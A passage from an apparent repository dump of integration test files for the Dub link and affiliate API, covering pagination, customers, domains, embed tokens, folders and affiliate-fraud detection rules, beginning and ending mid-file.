provided ID does not exist.\",\n        doc_url:\n          \"https://dub.co/docs/api-reference/errors#unprocessable-entity\",\n      },\n    };\n\n    const { status: statusAfter, data: errorAfter } = await http.get({\n      path: \"/commissions\",\n      query: { pageSize: \"5\", startingAfter: \"cm_invalid_id_12345\" },\n    });\n\n    expect(statusAfter).toEqual(422);\n    expect(errorAfter).toStrictEqual(invalidCursorError);\n\n    const { status: statusBefore, data: errorBefore } = await http.get({\n      path: \"/commissions\",\n      query: { pageSize: \"5\", endingBefore: \"cm_invalid_id_12345\" },\n    });\n\n    expect(statusBefore).toEqual(422);\n    expect(errorBefore).toStrictEqual(invalidCursorError);\n  });\n\n  test(\"Rejects mixing page with startingAfter / endingBefore\", async () => {\n    const mixedPaginationError = {\n      error: {\n        code: \"unprocessable_entity\",\n        message:\n          \"You cannot use both page and startingAfter/endingBefore at the same time. Please use one pagination method.\",\n        doc_url:\n          \"https://dub.co/docs/api-reference/errors#unprocessable-entity\",\n      },\n    };\n\n    const firstPage = baseline.slice(0, 5);\n    const { status: statusAfter, data: errorAfter } = await http.get({\n      path: \"/commissions\",\n      query: { page: \"2\", pageSize: \"5\", startingAfter: firstPage[4].id },\n    });\n\n    expect(statusAfter).toEqual(422);\n    expect(errorAfter).toStrictEqual(mixedPaginationError);\n\n    const { status: statusBefore, data: errorBefore } = await http.get({\n      path: \"/commissions\",\n      query: { page: \"2\", pageSize: \"5\", endingBefore: baseline[5].id },\n    });\n\n    expect(statusBefore).toEqual(422);\n    expect(errorBefore).toStrictEqual(mixedPaginationError);\n  });\n\n  test(\"Rejects cursor pagination with unsupported sort field\", async () => {\n    const { status, data: error } = await http.get({\n      path: \"/commissions\",\n      query: {\n        pageSize: \"5\",\n        startingAfter: baseline[0].id,\n        sortBy: \"amount\",\n      },\n    });\n\n    expect(status).toEqual(422);\n    expect(error).toStrictEqual({\n      error: {\n        code: \"unprocessable_entity\",\n        message:\n          \"Cursor-based pagination only supports sorting by `createdAt`. Use offset-based pagination (page/pageSize) for other sort fields.\",\n        doc_url:\n          \"https://dub.co/docs/api-reference/errors#unprocessable-entity\",\n      },\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/customers/index.test.ts",
    "content": "import { Customer } from \"@/lib/types\";\nimport { CustomerEnrichedSchema } from \"@/lib/zod/schemas/customers\";\nimport { describe, expect, test } from \"vitest\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\nconst expectedCustomer = {\n  id: \"cus_n5LF7wS3Z1vfwjZCyy5QDC7Q\",\n  externalId: \"cus_OmLauTvvWCtJsFN1yJb0oevj\",\n  email: \"abundant.coral.platypus@example.com\",\n  stripeCustomerId: null,\n  country: \"US\",\n  name: expect.any(String),\n  avatar: expect.any(String),\n  saleAmount: 0,\n  sales: 0,\n  createdAt: expect.any(String),\n  firstSaleAt: null,\n  subscriptionCanceledAt: null,\n};\n\ndescribe.sequential(\"/customers/**\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  const customerId = expectedCustomer.id;\n\n  test(\"GET /customers/{id}\", async () => {\n    const { status, data: retrievedCustomer } = await http.get<Customer>({\n      path: `/customers/${customerId}`,\n    });\n\n    expect(status).toEqual(200);\n    expect(retrievedCustomer).toStrictEqual(expectedCustomer);\n  });\n\n  test(\"GET /customers\", async () => {\n    const { status, data: customers } = await http.get<Customer[]>({\n      path: `/customers?email=${expectedCustomer.email}`,\n    });\n\n    expect(status).toEqual(200);\n    expect(customers.length).toBeGreaterThanOrEqual(1);\n    expect(customers[0]).toStrictEqual(expectedCustomer);\n  });\n\n  test(\"PATCH /customers/{id}\", async () => {\n    const toUpdate = {\n      name: \"Updated\",\n      avatar: \"https://api.dub.co/og/avatar/1234567890\",\n    };\n\n    const { status, data: customer } = await http.patch<Customer>({\n      path: `/customers/${customerId}`,\n      body: toUpdate,\n    });\n\n    expect(status).toEqual(200);\n    expect(customer).toStrictEqual({\n      ...expectedCustomer,\n      ...toUpdate,\n    });\n  });\n\n  test(\"GET /customers by externalId with includeExpandedFields\", async () => {\n    const { status, data: customers } = await http.get<Customer[]>({\n      path: `/customers?externalId=${expectedCustomer.externalId}&includeExpandedFields=true`,\n    });\n\n    expect(status).toEqual(200);\n    expect(customers.length).toBeGreaterThanOrEqual(1);\n    expect(\n      CustomerEnrichedSchema.parse({\n        ...customers[0],\n        createdAt: new Date(customers[0].createdAt),\n      }),\n    ).toBeTruthy();\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/customers/pagination.test.ts",
    "content": "import { Customer } from \"@/lib/types\";\nimport { beforeAll, describe, expect, test } from \"vitest\";\nimport {\n  expectNoOverlap,\n  expectSortedByCreatedAt,\n  expectSortedById,\n} from \"../utils/helpers\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\ndescribe.concurrent(\"/customers/** - pagination\", async () => {\n  const h = new IntegrationHarness();\n  let http: IntegrationHarness[\"http\"];\n  let baseline: Customer[];\n  let baselineIds: string[];\n\n  const commonQuery = {\n    pageSize: \"5\",\n    sortBy: \"createdAt\",\n    sortOrder: \"desc\",\n  };\n\n  beforeAll(async () => {\n    ({ http } = await h.init());\n\n    const { status, data } = await http.get<Customer[]>({\n      path: \"/customers\",\n      query: { ...commonQuery, pageSize: \"25\" },\n    });\n\n    expect(status).toEqual(200);\n\n    baseline = data;\n    baselineIds = baseline.map((c) => c.id);\n\n    expectSortedByCreatedAt(baseline);\n  });\n\n  test(\"Offset pagination works\", async () => {\n    const page1 = await http.get<Customer[]>({\n      path: \"/customers\",\n      query: { ...commonQuery, page: \"1\" },\n    });\n    const page2 = await http.get<Customer[]>({\n      path: \"/customers\",\n      query: { ...commonQuery, page: \"2\" },\n    });\n\n    expect(page1.status).toEqual(200);\n    expect(page2.status).toEqual(200);\n\n    expect(page1.data.map((c) => c.id)).toEqual(baselineIds.slice(0, 5));\n    expect(page2.data.map((c) => c.id)).toEqual(baselineIds.slice(5, 10));\n\n    expectNoOverlap(page1.data, page2.data);\n  });\n\n  test(\"Cursor forward (startingAfter)\", async () => {\n    const firstPage = baseline.slice(0, 5);\n    const lastId = firstPage[4].id;\n\n    const { status, data } = await http.get<Customer[]>({\n      path: \"/customers\",\n      query: { pageSize: \"5\", startingAfter: lastId },\n    });\n\n    expect(status).toEqual(200);\n    expect(data).toHaveLength(5);\n    expectSortedById(data, \"desc\");\n  });\n\n  test(\"Cursor backward (endingBefore)\", async () => {\n    const beforeId = baseline[5].id;\n\n    const { status, data } = await http.get<Customer[]>({\n      path: \"/customers\",\n      query: { pageSize: \"5\", endingBefore: beforeId },\n    });\n\n    expect(status).toEqual(200);\n    expect(data).toHaveLength(5);\n    expectSortedById(data, \"desc\");\n  });\n\n  test(\"Rejects both startingAfter and endingBefore\", async () => {\n    const { status, data: error } = await http.get({\n      path: \"/customers\",\n      query: { pageSize: \"5\", startingAfter: \"id\", endingBefore: \"id\" },\n    });\n\n    expect(status).toEqual(422);\n    expect(error).toStrictEqual({\n      error: {\n        code: \"unprocessable_entity\",\n        message:\n          \"You cannot use both startingAfter and endingBefore at the same time.\",\n        doc_url:\n          \"https://dub.co/docs/api-reference/errors#unprocessable-entity\",\n      },\n    });\n  });\n\n  test(\"Rejects page > MAX_OFFSET_PAGE\", async () => {\n    const { status, data: error } = await http.get({\n      path: \"/customers\",\n      query: { page: \"1001\", pageSize: \"10\" },\n    });\n\n    expect(status).toEqual(422);\n    expect(error).toStrictEqual({\n      error: {\n        code: \"unprocessable_entity\",\n        message:\n          \"Page is too big (cannot be more than 1000), recommend using cursor-based pagination instead.\",\n        doc_url:\n          \"https://dub.co/docs/api-reference/errors#unprocessable-entity\",\n      },\n    });\n  });\n\n  test(\"Invalid cursor ID (startingAfter / endingBefore) returns error\", async () => {\n    const invalidCursorError = {\n      error: {\n        code: \"unprocessable_entity\",\n        message: \"Invalid cursor: the provided ID does not exist.\",\n        doc_url:\n          \"https://dub.co/docs/api-reference/errors#unprocessable-entity\",\n      },\n    };\n\n    const { status: statusAfter, data: errorAfter } = await http.get({\n      path: \"/customers\",\n      query: { pageSize: \"5\", startingAfter: \"cus_invalid_id_12345\" },\n    });\n\n    expect(statusAfter).toEqual(422);\n    expect(errorAfter).toStrictEqual(invalidCursorError);\n\n    const { status: statusBefore, data: errorBefore } = await http.get({\n      path: \"/customers\",\n      query: { pageSize: \"5\", endingBefore: \"cus_invalid_id_12345\" },\n    });\n\n    expect(statusBefore).toEqual(422);\n    expect(errorBefore).toStrictEqual(invalidCursorError);\n  });\n\n  test(\"Rejects mixing page with startingAfter / endingBefore\", async () => {\n    const mixedPaginationError = {\n      error: {\n        code: \"unprocessable_entity\",\n        message:\n          \"You cannot use both page and startingAfter/endingBefore at the same time. Please use one pagination method.\",\n        doc_url:\n          \"https://dub.co/docs/api-reference/errors#unprocessable-entity\",\n      },\n    };\n\n    const firstPage = baseline.slice(0, 5);\n    const { status: statusAfter, data: errorAfter } = await http.get({\n      path: \"/customers\",\n      query: { page: \"2\", pageSize: \"5\", startingAfter: firstPage[4].id },\n    });\n\n    expect(statusAfter).toEqual(422);\n    expect(errorAfter).toStrictEqual(mixedPaginationError);\n\n    const { status: statusBefore, data: errorBefore } = await http.get({\n      path: \"/customers\",\n      query: { page: \"2\", pageSize: \"5\", endingBefore: baseline[5].id },\n    });\n\n    expect(statusBefore).toEqual(422);\n    expect(errorBefore).toStrictEqual(mixedPaginationError);\n  });\n\n  test(\"Rejects cursor pagination with unsupported sort field\", async () => {\n    const { status, data: error } = await http.get({\n      path: \"/customers\",\n      query: {\n        pageSize: \"5\",\n        startingAfter: baseline[0].id,\n        sortBy: \"saleAmount\",\n      },\n    });\n\n    expect(status).toEqual(422);\n    expect(error).toStrictEqual({\n      error: {\n        code: \"unprocessable_entity\",\n        message:\n          \"Cursor-based pagination only supports sorting by `createdAt`. Use offset-based pagination (page/pageSize) for other sort fields.\",\n        doc_url:\n          \"https://dub.co/docs/api-reference/errors#unprocessable-entity\",\n      },\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/discounts/index.test.ts",
    "content": "import { CustomerEnriched } from \"@/lib/types\";\nimport { E2E_CUSTOMER_WITH_DISCOUNT, E2E_DISCOUNT } from \"tests/utils/resource\";\nimport { describe, expect, test } from \"vitest\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\ndescribe(\"Discounts\", () => {\n  test(\"/customers?email=\", async () => {\n    const h = new IntegrationHarness();\n    const { http } = await h.init();\n\n    const { status, data: customers } = await http.get<CustomerEnriched[]>({\n      path: `/customers?email=${E2E_CUSTOMER_WITH_DISCOUNT.email}&includeExpandedFields=true`,\n    });\n\n    expect(status).toEqual(200);\n    expect(customers[0].discount).toStrictEqual(E2E_DISCOUNT);\n  });\n\n  test(\"/customers?externalId=\", async () => {\n    const h = new IntegrationHarness();\n    const { http } = await h.init();\n\n    const { status, data: customers } = await http.get<CustomerEnriched[]>({\n      path: `/customers?externalId=${E2E_CUSTOMER_WITH_DISCOUNT.externalId}&includeExpandedFields=true`,\n    });\n\n    expect(status).toEqual(200);\n    expect(customers[0].discount).toStrictEqual(E2E_DISCOUNT);\n  });\n\n  test(\"/customers/:id\", async () => {\n    const h = new IntegrationHarness();\n    const { http } = await h.init();\n\n    const { status, data: customer } = await http.get<CustomerEnriched>({\n      path: `/customers/${E2E_CUSTOMER_WITH_DISCOUNT.id}?includeExpandedFields=true`,\n    });\n\n    expect(status).toEqual(200);\n    expect(customer.discount).toStrictEqual(E2E_DISCOUNT);\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/domains/index.test.ts",
    "content": "import { DomainStatusSchema } from \"@/lib/zod/schemas/domains\";\nimport { Domain } from \"@dub/prisma/client\";\nimport { describe, expect, onTestFinished, test } from \"vitest\";\nimport * as z from \"zod/v4\";\nimport { randomId } from \"../utils/helpers\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\nconst slug = `${randomId()}.dub-internal-test.com`;\n\nconst domainRecord = {\n  slug: slug,\n  expiredUrl: `https://${slug}/expired`,\n  placeholder: `https://${slug}/placeholder`,\n  notFoundUrl: `https://${slug}/not-found`,\n};\n\nconst expectedDomain = {\n  id: expect.any(String),\n  slug: domainRecord.slug,\n  verified: expect.any(Boolean),\n  primary: expect.any(Boolean),\n  archived: false,\n  placeholder: domainRecord.placeholder,\n  expiredUrl: domainRecord.expiredUrl,\n  notFoundUrl: domainRecord.notFoundUrl,\n  createdAt: expect.any(String),\n  updatedAt: expect.any(String),\n  registeredDomain: null,\n  logo: null,\n  appleAppSiteAssociation: null,\n  assetLinks: null,\n  deepviewData: \"{}\",\n};\n\ndescribe.sequential(\"/domains/**\", async () => {\n  const h = new IntegrationHarness();\n  const { workspace, http } = await h.init();\n\n  test(\"POST /domains\", async () => {\n    const { status, data: domain } = await http.post<Domain>({\n      path: \"/domains\",\n      query: { workspaceId: workspace.id },\n      body: domainRecord,\n    });\n\n    expect(status).toEqual(201);\n    expect(domain).toStrictEqual(expectedDomain);\n  });\n\n  test(\"GET /domains/{slug}\", async () => {\n    const { status, data: domain } = await http.get<Domain>({\n      path: `/domains/${domainRecord.slug}`,\n      query: { workspaceId: workspace.id },\n    });\n\n    expect(status).toEqual(200);\n    expect(domain).toStrictEqual(expectedDomain);\n  });\n\n  test(\"GET /domains\", async () => {\n    const { status, data: domains } = await http.get<Domain[]>({\n      path: \"/domains\",\n      query: { workspaceId: workspace.id },\n    });\n\n    expect(status).toEqual(200);\n    expect(\n      domains.map((d) => ({ ...d, registeredDomain: null })),\n    ).toContainEqual(expectedDomain);\n  });\n\n  test(\"POST /domains/{slug}/primary\", { retry: 3 }, async () => {\n    const { status, data: domain } = await http.post<Domain>({\n      path: `/domains/${domainRecord.slug}/primary`,\n      query: { workspaceId: workspace.id },\n    });\n\n    expect(status).toEqual(200);\n    expect(domain).toStrictEqual({\n      ...expectedDomain,\n      primary: true,\n    });\n\n    onTestFinished(async () => {\n      // reset the primary domain\n      await http.post<Domain>({\n        path: \"/domains/getacme.link/primary\",\n        query: { workspaceId: workspace.id },\n      });\n    });\n  });\n\n  test(\"PATCH /domains/{slug}\", { retry: 3 }, async () => {\n    const toUpdate = {\n      expiredUrl: `https://${slug}/expired-new`,\n      placeholder: `https://${slug}/placeholder-new`,\n      notFoundUrl: `https://${slug}/not-found-new`,\n      archived: true,\n    };\n\n    onTestFinished(async () => {\n      await h.deleteDomain(domainRecord.slug);\n    });\n\n    const { status, data: domain } = await http.patch<Domain>({\n      path: `/domains/${domainRecord.slug}`,\n      query: { workspaceId: workspace.id },\n      body: toUpdate,\n    });\n\n    expect(status).toEqual(200);\n    expect(domain).toStrictEqual({\n      ...expectedDomain,\n      ...toUpdate,\n    });\n  });\n\n  test(\"GET /domains/status\", async () => {\n    const domains = [\n      \"getacme.link\", // expected to be unavailable\n      `acme-${randomId(4).toLowerCase()}.link`, // expected to be available\n    ];\n\n    const { status, data: domainStatuses } = await http.get<\n      z.infer<typeof DomainStatusSchema>[]\n    >({\n      path: \"/domains/status\",\n      query: {\n        workspaceId: workspace.id,\n        domains: domains.join(\",\"),\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(domainStatuses).toHaveLength(2);\n    expect(domainStatuses).toEqual([\n      {\n        domain: domains[0],\n        available: false,\n        price: null,\n        premium: null,\n      },\n      {\n        domain: domains[1],\n        available: true,\n        price: expect.any(String),\n        premium: expect.any(Boolean),\n      },\n    ]);\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/embed-tokens/referrals.test.ts",
    "content": "import { generateRandomName } from \"@/lib/names\";\nimport { describe, expect, test } from \"vitest\";\nimport { randomId, randomPartnerEmail } from \"../utils/helpers\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_PARTNER } from \"../utils/resource\";\n\nconst expectedTokenResponse = {\n  publicToken: expect.stringMatching(/^dub_embed_/),\n  expires: expect.any(String),\n};\n\ndescribe.sequential(\"POST /api/tokens/embed/referrals\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  let createdPartnerTenantId: string;\n\n  test(\"with existing partnerId\", async () => {\n    const { data, status } = await http.post({\n      path: \"/tokens/embed/referrals\",\n      body: {\n        partnerId: E2E_PARTNER.id,\n      },\n    });\n\n    expect(status).toEqual(201);\n    expect(data).toStrictEqual(expectedTokenResponse);\n  });\n\n  test(\"with new partner props (creates new partner)\", async () => {\n    const partner = {\n      name: generateRandomName(),\n      email: randomPartnerEmail(),\n      description: \"A test partner for embed token\",\n      country: \"US\",\n      image: \"https://api.dicebear.com/9.x/micah/png?seed=test\",\n      tenantId: randomId(),\n    };\n\n    const { data, status } = await http.post({\n      path: \"/tokens/embed/referrals\",\n      body: {\n        partner,\n      },\n    });\n\n    expect(status).toEqual(201);\n    expect(data).toStrictEqual(expectedTokenResponse);\n\n    // Store the tenantId for use in the next test\n    createdPartnerTenantId = partner.tenantId;\n  });\n\n  test(\"with existing tenantId (from created partner)\", async () => {\n    // Use the tenantId from the partner created in the previous test\n    const { data, status } = await http.post({\n      path: \"/tokens/embed/referrals\",\n      body: {\n        tenantId: createdPartnerTenantId,\n      },\n    });\n\n    expect(status).toEqual(201);\n    expect(data).toStrictEqual(expectedTokenResponse);\n  });\n\n  test(\"with minimal partner props\", async () => {\n    const partner = {\n      email: randomPartnerEmail(),\n    };\n\n    const { data, status } = await http.post({\n      path: \"/tokens/embed/referrals\",\n      body: {\n        partner,\n      },\n    });\n\n    expect(status).toEqual(201);\n    expect(data).toStrictEqual(expectedTokenResponse);\n  });\n\n  test(\"fails with no partnerId, tenantId, or partner\", async () => {\n    const { data, status } = await http.post({\n      path: \"/tokens/embed/referrals\",\n      body: {},\n    });\n\n    expect(status).toEqual(422);\n    expect(data).toMatchObject({\n      error: {\n        message: expect.stringContaining(\n          \"You must provide either partnerId, tenantId, or partner\",\n        ),\n      },\n    });\n  });\n\n  test(\"fails with non-existent partnerId\", async () => {\n    const { data, status } = await http.post({\n      path: \"/tokens/embed/referrals\",\n      body: {\n        partnerId: \"pn_nonexistent\",\n      },\n    });\n\n    expect(status).toEqual(404);\n    expect(data).toMatchObject({\n      error: {\n        message: \"The partner is not enrolled in this program.\",\n        code: \"not_found\",\n      },\n    });\n  });\n\n  test(\"fails with non-existent tenantId\", async () => {\n    const { data, status } = await http.post({\n      path: \"/tokens/embed/referrals\",\n      body: {\n        tenantId: \"nonexistent-tenant-id\",\n      },\n    });\n\n    expect(status).toEqual(404);\n    expect(data).toMatchObject({\n      error: {\n        message: \"The partner is not enrolled in this program.\",\n        code: \"not_found\",\n      },\n    });\n  });\n\n  test(\"fails with invalid partner email\", async () => {\n    const { data, status } = await http.post({\n      path: \"/tokens/embed/referrals\",\n      body: {\n        partner: {\n          email: \"invalid-email\",\n        },\n      },\n    });\n\n    expect(status).toEqual(422);\n    expect(data).toMatchObject({\n      error: {\n        message: expect.stringContaining(\"Invalid email\"),\n      },\n    });\n  });\n\n  test(\"fails with missing partner email\", async () => {\n    const { data, status } = await http.post({\n      path: \"/tokens/embed/referrals\",\n      body: {\n        partner: {\n          name: generateRandomName(),\n        },\n      },\n    });\n\n    expect(status).toEqual(422);\n    expect(data).toMatchObject({\n      error: {\n        message: expect.stringContaining(\"invalid_type: partner.email:\"),\n      },\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/folders/index.test.ts",
    "content": "import { FolderSchema } from \"@/lib/zod/schemas/folders\";\nimport { randomId } from \"tests/utils/helpers\";\nimport { describe, expect, test } from \"vitest\";\nimport * as z from \"zod/v4\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\ntype FolderRecord = z.infer<typeof FolderSchema>;\n\nconst expectedFolder = {\n  id: expect.any(String),\n  type: \"default\",\n  description: null,\n  createdAt: expect.any(String),\n  updatedAt: expect.any(String),\n};\n\ndescribe.sequential(\"/folders/**\", async () => {\n  const h = new IntegrationHarness();\n  const { workspace, http } = await h.init();\n\n  let folderCreated: FolderRecord | undefined;\n  const folderName = randomId();\n\n  test(\"POST /folders\", async () => {\n    const { status, data } = await http.post<FolderRecord>({\n      path: \"/folders\",\n      query: {\n        workspaceId: workspace.id,\n      },\n      body: {\n        name: folderName,\n        accessLevel: \"write\",\n      },\n    });\n\n    folderCreated = data;\n\n    expect(status).toEqual(201);\n    expect(data).toStrictEqual({\n      ...expectedFolder,\n      name: folderName,\n      accessLevel: \"write\",\n    });\n  });\n\n  test(\"GET /folders\", async () => {\n    const { status, data } = await http.get<FolderRecord[]>({\n      path: \"/folders\",\n      query: {\n        workspaceId: workspace.id,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(data).toContainEqual(folderCreated);\n  });\n\n  test(\"PATCH /folders/{folderId}\", { retry: 3 }, async () => {\n    const { status, data } = await http.patch<FolderRecord>({\n      path: `/folders/${folderCreated?.id}`,\n      query: {\n        workspaceId: workspace.id,\n      },\n      body: {\n        name: `${folderName}-1`,\n        accessLevel: \"read\",\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(data).toStrictEqual({\n      ...expectedFolder,\n      name: `${folderName}-1`,\n      accessLevel: \"read\",\n    });\n  });\n\n  test(\"DELETE /folders/{folderId}\", async () => {\n    const { status, data } = await http.delete<{ id: string }>({\n      path: `/folders/${folderCreated?.id}`,\n      query: {\n        workspaceId: workspace.id,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(data).toStrictEqual({\n      id: folderCreated?.id,\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/fraud/fraud-groups.test.ts",
    "content": "import { fraudGroupSchema } from \"@/lib/zod/schemas/fraud\";\nimport { FraudEventStatus, FraudRuleType } from \"@dub/prisma/client\";\nimport { describe, expect, test } from \"vitest\";\nimport * as z from \"zod/v4\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_FRAUD_PARTNER } from \"../utils/resource\";\n\ntype FraudGroup = z.infer<typeof fraudGroupSchema>;\n\ndescribe.concurrent(\"/fraud/groups\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  test(\"GET /fraud/groups - list with default parameters\", async () => {\n    const { status, data } = await http.get<FraudGroup[]>({\n      path: \"/fraud/groups\",\n    });\n\n    expect(status).toEqual(200);\n    expect(Array.isArray(data)).toBe(true);\n    expect(data.every((g) => g.status === \"pending\")).toBe(true);\n\n    const parsed = z.array(fraudGroupSchema).safeParse(data);\n    expect(parsed.success).toBe(true);\n\n    // Check required fields exists\n    const group = data[0];\n    expect(group.id).toBeDefined();\n    expect(group.type).toBeDefined();\n    expect(group.status).toBeDefined();\n    expect(group.lastEventAt).toBeDefined();\n    expect(group.eventCount).toBeDefined();\n    expect(typeof group.eventCount).toBe(\"number\");\n    expect(group.partner).toBeDefined();\n  });\n\n  test(\"GET /fraud/groups - filter by status=pending\", async () => {\n    const { status, data } = await http.get<FraudGroup[]>({\n      path: \"/fraud/groups\",\n      query: {\n        status: FraudEventStatus.pending,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(Array.isArray(data)).toBe(true);\n    expect(data.every((g) => g.status === \"pending\")).toBe(true);\n  });\n\n  test(\"GET /fraud/groups - filter by status=resolved\", async () => {\n    const { status, data } = await http.get<FraudGroup[]>({\n      path: \"/fraud/groups\",\n      query: {\n        status: FraudEventStatus.resolved,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(Array.isArray(data)).toBe(true);\n    expect(data.every((g) => g.status === \"resolved\")).toBe(true);\n  });\n\n  test(\"GET /fraud/groups - filter by type\", async () => {\n    const typesToTest = [\n      FraudRuleType.customerEmailMatch,\n      FraudRuleType.customerEmailSuspiciousDomain,\n      FraudRuleType.referralSourceBanned,\n      FraudRuleType.paidTrafficDetected,\n    ];\n\n    for (const fraudType of typesToTest) {\n      const { status, data } = await http.get<FraudGroup[]>({\n        path: \"/fraud/groups\",\n        query: {\n          type: fraudType,\n        },\n      });\n\n      expect(status).toEqual(200);\n      expect(data.every((g) => g.type === fraudType)).toBe(true);\n    }\n  });\n\n  test(\"GET /fraud/groups - filter by partnerId\", async () => {\n    const { status, data } = await http.get<FraudGroup[]>({\n      path: \"/fraud/groups\",\n      query: {\n        partnerId: E2E_FRAUD_PARTNER.id,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(Array.isArray(data)).toBe(true);\n    expect(data.every((g) => g.partner.id === E2E_FRAUD_PARTNER.id)).toBe(true);\n  });\n\n  test(\"GET /fraud/groups - retrieve specific group by groupId\", async () => {\n    // First, get a list to find a valid groupId\n    const { data: groups } = await http.get<FraudGroup[]>({\n      path: \"/fraud/groups\",\n    });\n\n    if (groups.length === 0) {\n      return;\n    }\n\n    const groupId = groups[0].id;\n\n    const { status, data } = await http.get<FraudGroup[]>({\n      path: \"/fraud/groups\",\n      query: {\n        groupId,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(Array.isArray(data)).toBe(true);\n    expect(data.length).toBe(1);\n    expect(data[0].id).toBe(groupId);\n  });\n\n  test(\"GET /fraud/groups - pagination with custom pageSize\", async () => {\n    const pageSize = 5;\n\n    const { status, data } = await http.get<FraudGroup[]>({\n      path: \"/fraud/groups\",\n      query: {\n        page: \"1\",\n        pageSize: pageSize.toString(),\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(Array.isArray(data)).toBe(true);\n    expect(data.length).toBeLessThanOrEqual(pageSize);\n  });\n\n  test(\"GET /fraud/groups - combined filters (status + type + partnerId)\", async () => {\n    const { status, data } = await http.get<FraudGroup[]>({\n      path: \"/fraud/groups\",\n      query: {\n        status: FraudEventStatus.pending,\n        type: FraudRuleType.customerEmailMatch,\n        partnerId: E2E_FRAUD_PARTNER.id,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(Array.isArray(data)).toBe(true);\n\n    if (data.length > 0) {\n      expect(\n        data.every(\n          (g) =>\n            g.status === \"pending\" &&\n            g.type === FraudRuleType.customerEmailMatch &&\n            g.partner.id === E2E_FRAUD_PARTNER.id,\n        ),\n      ).toBe(true);\n    }\n  });\n\n  test(\"GET /fraud/groups - non-existent groupId returns empty array\", async () => {\n    const nonExistentGroupId = \"frg_nonexistent123456789\";\n\n    const { status, data } = await http.get<FraudGroup[]>({\n      path: \"/fraud/groups\",\n      query: {\n        groupId: nonExistentGroupId,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(Array.isArray(data)).toBe(true);\n    expect(data.length).toBe(0);\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/fraud/index.test.ts",
    "content": "import { extractEmailDomain } from \"@/lib/email/extract-email-domain\";\nimport { Customer, TrackLeadResponse } from \"@/lib/types\";\nimport {\n  CustomerEmailMatchType,\n  fraudEventSchemas,\n} from \"@/lib/zod/schemas/fraud\";\nimport { FraudRuleType, Partner } from \"@dub/prisma/client\";\nimport { randomCustomer, retry } from \"tests/utils/helpers\";\nimport { HttpClient } from \"tests/utils/http\";\nimport {\n  E2E_FRAUD_PARTNER,\n  E2E_FRAUD_REFERRAL_SOURCE_BANNED_DOMAIN,\n  E2E_TRACK_CLICK_HEADERS,\n} from \"tests/utils/resource\";\nimport { describe, expect, test } from \"vitest\";\nimport * as z from \"zod/v4\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\ndescribe.concurrent(\"/fraud/**\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  test(\"FraudRuleType = customerEmailMatch (exact match)\", async () => {\n    const clickLink = E2E_FRAUD_PARTNER.links.customerEmailMatch;\n\n    // Track a click\n    const clickResponse = await http.post<{ clickId: string }>({\n      path: \"/track/click\",\n      headers: {\n        ...E2E_TRACK_CLICK_HEADERS,\n      },\n      body: {\n        domain: clickLink.domain,\n        key: clickLink.key,\n      },\n    });\n\n    const trackedClickId = clickResponse.data.clickId;\n\n    // Track a lead\n    const customer = {\n      ...randomCustomer(),\n      email: E2E_FRAUD_PARTNER.email, // same email as partner\n    };\n\n    await http.post<TrackLeadResponse>({\n      path: \"/track/lead\",\n      body: {\n        eventName: \"Signup\",\n        clickId: trackedClickId,\n        customerId: customer.externalId,\n        customerName: customer.name,\n        customerEmail: customer.email,\n        customerAvatar: customer.avatar,\n      },\n    });\n\n    await verifyFraudEvent({\n      http,\n      partner: E2E_FRAUD_PARTNER,\n      customer,\n      ruleType: \"customerEmailMatch\",\n      metadata: {\n        matchType: CustomerEmailMatchType.EXACT,\n      },\n    });\n  });\n\n  test(\"FraudRuleType = customerEmailMatch (domain match)\", async () => {\n    const clickLink = E2E_FRAUD_PARTNER.links.customerEmailMatch;\n\n    const clickResponse = await http.post<{ clickId: string }>({\n      path: \"/track/click\",\n      headers: { ...E2E_TRACK_CLICK_HEADERS },\n      body: { domain: clickLink.domain, key: clickLink.key },\n    });\n\n    const partnerEmailDomain = extractEmailDomain(E2E_FRAUD_PARTNER.email)!;\n\n    const customer = randomCustomer({\n      emailDomain: partnerEmailDomain,\n    });\n\n    await http.post<TrackLeadResponse>({\n      path: \"/track/lead\",\n      body: {\n        eventName: \"Signup\",\n        clickId: clickResponse.data.clickId,\n        customerId: customer.externalId,\n        customerName: customer.name,\n        customerEmail: customer.email,\n        customerAvatar: customer.avatar,\n      },\n    });\n\n    await verifyFraudEvent({\n      http,\n      partner: E2E_FRAUD_PARTNER,\n      customer,\n      ruleType: \"customerEmailMatch\",\n      metadata: {\n        matchType: CustomerEmailMatchType.DOMAIN_MATCH,\n      },\n    });\n  });\n\n  test(\"FraudRuleType = customerEmailMatch (historical domain match)\", async () => {\n    const clickLink = E2E_FRAUD_PARTNER.links.customerEmailMatch;\n\n    const clickResponse = await http.post<{ clickId: string }>({\n      path: \"/track/click\",\n      headers: { ...E2E_TRACK_CLICK_HEADERS },\n      body: { domain: clickLink.domain, key: clickLink.key },\n    });\n\n    const trackedClickId = clickResponse.data.clickId;\n\n    const customer 